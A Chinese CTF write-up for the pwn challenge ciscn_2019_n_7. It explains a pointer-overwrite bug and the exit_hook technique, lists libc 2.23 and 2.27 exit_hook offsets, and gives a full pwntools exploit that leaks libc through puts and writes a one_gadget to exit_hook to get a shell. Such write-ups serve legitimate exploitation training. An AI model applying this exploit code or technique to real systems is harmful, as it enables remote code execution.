ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ciscn_2019_n_7(exit_hook)

2022-01-13 18:01:50  阅读:256  来源: 互联网

标签:ciscn libc hook 地址 base 2019 exit name


又学到了一个新知识

题目的例行检查我就不放了

关键漏洞

 

 可以看到我们申请的chunk在v1[2】处,这里存放着chunk的地址指针,但是read确实从v1+1开始输入值,说明我们可以去覆盖这个地址

这道题我们利用exit_hook

首先先说一下exit_hook的地址(并不是调用exit_hook,而是在exit中使用到的地址)

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

  这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了。(其实不用非要执行exit,就程序正常返回也可以执行到这里)

这道题目我不知道为什么有点坑,本地和远程泄露的地址去获得基地址的方式是不一样的

from pwn import *

#p = process('./ciscn_2019_n_7')
p = remote('node4.buuoj.cn',25004)
libc = ELF('./libc-2.23.so')

def lounch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(size,name):
    p.sendlineafter('choice-> ','1')
    p.sendlineafter('Length: ',str(size))
    p.sendafter('name:\n',name)
    

def edit(name,contents):
    p.sendlineafter('choice-> \n','2')
    p.sendafter('name:\n',name)
    p.sendafter('contents:\n',contents)

def leak():
    p.sendlineafter('choice->','666')

leak()
lounch_gdb()
p.recvuntil('0x')
libc_info = int(p.recvuntil('\n'),16)
libc_base = libc_info - libc.symbols['puts']
#libc_base = libc_info - 0x6f6a0
print('libc_base-->'+hex(libc_base))
exit_hook = libc_base + 0x5f0040+3848
print('exit_hook-->'+hex(exit_hook))
one_gadget = libc_base + 0xf1147
print('one_gadget-->'+hex(one_gadget))
add(0x30,b'a'*8+p64(exit_hook))

edit('aaaaaaaa',p64(one_gadget))
sleep(0.5)
p.sendline('a')

p.interactive()

 以后应该还会碰到这种题,虽然这道题不难,但是需要记录一下

感谢师傅的文章:

exit_hook在pwn题中的应用 - 不会修电脑 - 博客园 (cnblogs.com)

结束!

 

标签:ciscn,libc,hook,地址,base,2019,exit,name
来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15798699.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有